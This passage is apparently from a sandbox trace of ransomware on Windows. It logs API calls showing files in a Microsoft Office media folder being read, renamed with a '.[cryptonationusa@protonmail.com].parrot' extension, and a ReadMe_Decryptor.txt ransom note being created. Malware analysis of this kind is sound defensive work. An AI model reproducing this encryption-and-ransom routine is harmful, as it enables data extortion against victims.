hHeap=0x5b0000) returned 1 [0161.353] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c568, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0161.353] CloseHandle (hObject=0x284) returned 1 [0161.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0161.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x2261620 [0161.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0161.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2261620 | out: hHeap=0x5b0000) returned 1 [0161.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0161.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68dff0 [0161.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0161.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0161.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0161.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0161.357] GetFileType (hFile=0x284) returned 0x1 [0161.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0161.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0161.372] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xec3623a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xec3623a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.373] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xec3623a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CAGCAT~1.PAR")) returned 1 [0161.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68e068 [0161.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68e068 | out: hHeap=0x5b0000) returned 1 [0161.373] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.373] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.375] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x603d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x603d8, lpOverlapped=0x0) returned 1 [0161.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0161.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0161.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0161.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0161.379] GetLastError () returned 0x0 [0161.387] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0161.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0161.388] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0161.388] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.388] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0161.388] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0161.388] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0161.388] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0161.388] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0161.388] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0161.388] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0161.388] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0161.388] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0161.388] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b958 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2268068 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0161.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0161.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0161.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0161.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2262048 [0161.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0161.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x226c050 [0161.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x22707a0 [0161.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.394] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3198458 [0161.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22707a0 | out: hHeap=0x5b0000) returned 1 [0161.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0161.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.466] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.468] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x585a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x585a, lpOverlapped=0x0) returned 1 [0161.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0161.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.479] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.481] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3602, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3602, lpOverlapped=0x0) returned 1 [0161.483] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.489] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.491] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.491] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8880, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8880, lpOverlapped=0x0) returned 1 [0161.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0161.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.501] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.502] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.502] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x830a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x830a, lpOverlapped=0x0) returned 1 [0161.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0161.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.512] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.514] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x870a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x870a, lpOverlapped=0x0) returned 1 [0161.517] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0161.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.522] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.525] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5eda, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5eda, lpOverlapped=0x0) returned 1 [0161.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0161.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.537] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.539] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa80a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa80a, lpOverlapped=0x0) returned 1 [0161.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0161.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.549] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.551] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.551] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ffa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ffa, lpOverlapped=0x0) returned 1 [0161.552] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 